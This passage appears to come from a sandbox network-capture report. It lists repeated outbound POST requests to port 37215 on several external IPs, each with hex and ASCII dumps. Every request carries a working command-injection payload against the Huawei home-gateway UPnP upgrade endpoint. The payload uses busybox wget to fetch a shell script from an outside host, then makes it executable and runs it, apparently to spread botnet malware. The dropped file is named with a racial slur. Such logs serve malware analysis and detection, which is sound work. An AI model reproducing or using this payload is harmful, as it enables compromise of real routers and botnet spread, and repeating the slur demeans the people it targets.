2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.138106108 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.137521982 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:56.072483063 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:11.942457914 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	33334	45.41.86.126	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:40.295875072 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	38128	31.136.12.232	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:43.788574934 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.362181902 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:45.481925011 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:47.881650925 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 